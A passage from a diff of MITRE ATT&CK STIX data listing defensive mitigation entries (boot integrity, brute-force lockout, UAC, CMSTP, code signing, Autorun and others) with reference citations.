Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:37:42.991Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", + "type": "course-of-action", + "name": "Boot Integrity", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "external_references": [ + { + "external_id": "M1046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1046" + } + ], + "modified": "2019-06-11T17:02:36.984Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:02:36.984Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "type": "course-of-action", + "name": "Bootkit Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751", + "external_references": [ + { + "external_id": "T1067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1067" + }, + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 8.1 boot process. Retrieved June 11, 2016.", + "url": "https://technet.microsoft.com/en-us/windows/dn168167.aspx" + } + ], + "modified": "2019-07-24T14:10:43.001Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Browser Bookmark Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "external_references": [ + { + "external_id": "T1217", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1217" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:40:39.898Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", + "type": "course-of-action", + "name": "Browser Extensions Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "external_references": [ + { + "external_id": "T1176", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1176" + }, + { + "source_name": "Technospot Chrome Extensions GP", + "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", + "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/" + } + ], + "modified": "2019-07-24T14:41:17.903Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.", + "type": "course-of-action", + "name": "Brute Force Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c", + "external_references": [ + { + "external_id": "T1110", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1110" + }, + { + "source_name": "NIST 800-63-3", + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html" + } + ], + "modified": "2019-07-24T18:03:10.785Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.1", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", + "type": "course-of-action", + "name": "Bypass User Account Control Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", + "external_references": [ + { + "external_id": "T1088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1088" + }, + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + } + ], + "modified": "2019-07-24T14:13:23.637Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)", + "type": "course-of-action", + "name": "CMSTP Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--91816292-3686-4a6e-83c4-4c08513b9b57", + "external_references": [ + { + "external_id": "T1191", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1191" + }, + { + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "url": "https://msitpros.com/?p=3960" + } + ], + "modified": "2019-07-24T18:04:13.126Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Change Default File Association Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "external_references": [ + { + "external_id": "T1042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1042" + }, + { + "source_name": "MSDN File Associations", + "description": "Microsoft. (n.d.). Retrieved July 26, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/cc144156.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:14:10.412Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).", + "type": "course-of-action", + "name": "Clear Command History Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", + "external_references": [ + { + "external_id": "T1146", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1146" + }, + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "modified": "2019-07-24T18:05:00.492Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Clipboard Data Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "external_references": [ + { + "external_id": "T1115", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1115" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:15:03.959Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", + "type": "course-of-action", + "id": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Code Signing", + "external_references": [ + { + "external_id": "M1045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1045" + } + ], + "modified": "2019-06-11T17:01:25.405Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:01:25.405Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", + "type": "course-of-action", + "name": "Code Signing Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "external_references": [ + { + "external_id": "T1116", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1116" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "TechNet Trusted Publishers", + "description": "Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc733026.aspx" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + } + ], + "modified": "2019-07-24T18:07:56.461Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Command-Line Interface Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04", + "external_references": [ + { + "external_id": "T1059", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1059" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T18:09:00.664Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Commonly Used Port Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "external_references": [ + { + "external_id": "T1043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1043" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T14:17:58.966Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "type": "course-of-action", + "name": "Communication Through Removable Media Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445", + "external_references": [ + { + "external_id": "T1092", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1092" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "modified": "2019-07-24T18:09:33.072Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Compile After Delivery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e", + "external_references": [ + { + "external_id": "T1500", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1500" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:18:49.192Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-25T20:53:07.814Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "course-of-action", + "name": "Compiled HTML File Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2", + "external_references": [ + { + "external_id": "T1223", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1223" + }, + { + "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016", + "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.", + "url": "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913" + } + ], + "modified": "2019-07-24T14:19:23.148Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.\n\nConsider removing and replacing system components suspected of being compromised.", + "type": "course-of-action", + "name": "Component Firmware Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "external_references": [ + { + "external_id": "T1109", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1109" + } + ], + "modified": "2019-07-24T18:10:06.475Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Component Object Model Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", + "external_references": [ + { + "external_id": "T1122", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1122" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:20:05.776Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Connection Proxy Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8", + "external_references": [ + { + "external_id": "T1090", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1090" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T18:10:46.757Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be 